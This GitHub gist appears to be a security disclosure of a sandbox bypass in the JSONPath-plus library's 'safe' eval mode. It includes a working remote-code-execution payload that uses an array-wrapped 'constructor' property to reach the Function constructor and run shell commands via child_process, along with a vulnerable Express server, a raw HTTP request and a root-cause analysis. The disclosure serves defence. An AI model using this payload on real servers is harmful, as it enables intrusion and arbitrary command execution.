Skip to content

Instantly share code, notes, and snippets.

@nickcopi
Last active January 10, 2025 00:19
Show Gist options
  • Save nickcopi/11ba3cb4fdee6f89e02e6afae8db6456 to your computer and use it in GitHub Desktop.
Save nickcopi/11ba3cb4fdee6f89e02e6afae8db6456 to your computer and use it in GitHub Desktop.

Summary

Several patches were applied to JSONPath-plus to prevent untrusted JS execution from occurring when evaluating a path with the default eval='safe' mode. After the storm subsided, 10.2.0 was deemed to be safe. I have written a payload that allows for arbitrary JS execution when evaluating a path in safe mode. This allows for RCE in server side contexts that allow calls to JSONPath() with a path constructed from user input. In client side contexts, that allow calls to JSONPath() with a path constructed from user input, this can lead to XSS.

Steps To Reproduce

This was reproduced against an Express JS server running on NodeJS 22 with the following code.

const express = require('express');
const bodyParser = require('body-parser');
const {JSONPath} = require('jsonpath-plus');

const app = express();
const port = 3000;

// Middleware to parse JSON bodies
app.use(bodyParser.json());

// POST endpoint to accept message and jsonpath
app.post('/query', (req, res) => {
    const { message, path } = req.body;

    if (!message || !path) {
        return res.status(400).json({ error: 'Both message and path are required.' });
    }

    try {
        const result = JSONPath({path, json:message});
        res.json({ result });
    } catch (error) {
        res.status(400).json({ error: 'Invalid JSONPath or message.', details: error.message });
    }
});

app.listen(port, () => {
    console.log(`Server is running on http://localhost:${port}`);
});
POST /query HTTP/1.1
Host: 192.168.1.156:3000
Content-Type: application/json

{"message":{"a":1},"path":"$..[?(p=\"console.log(this.process.mainModule.require('child_process').execSync('id').toString())\";a=''[['constructor']][['constructor']](p);a())]"}

The following raw HTTP request to the server results in RCE by escaping the AST evaluator and calling the true Function constructor.

A pure example that may be easier to reproduce this with can be seen with the following block of code.

const { JSONPath } = require("jsonpath-plus");

const exampleObj = { example: true }
const userControlledPath = "$..[?(p=\"console.log(this.process.mainModule.require('child_process').execSync('id').toString())\";a=''[['constructor']][['constructor']](p);a())]";

JSONPath({ json: exampleObj, path: userControlledPath});

image

Root Cause Analysis

The AST Evaluator now has checks intended to prevent the evaluation of the member expression of the properties in the BLOCKED_PROTO_PROPERTIES set. This is to prevent acquistion of a reference to the true Function constructor, and to prevent prototype pollution.

const BLOCKED_PROTO_PROPERTIES = new Set([
    'constructor',
    '__proto__',
    '__defineGetter__',
    '__defineSetter__'
]);

The check is implemented in such a way that it can be bypassed by passing a prop value that is not a string, but will be turned into a string containing a forbidden value when .toString() is implicitly called on it when obj[prop] is evaluated.

        if (!Object.hasOwn(obj, prop) && BLOCKED_PROTO_PROPERTIES.has(prop)) {
            throw TypeError(
                `Cannot read properties of ${obj} (reading '${prop}')`
            );
        }
        const result = obj[prop];

So while the prop="constructor" would be caught by this blacklist and prevented, prop=["constructor"] would not, and the call to obj[prop] would return obj.constructor. This is how our payload is able to get a reference to the true Function constructor so that we can call it with arbitrary user input and get full blown JavaScript execution in eval='safe' mode.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment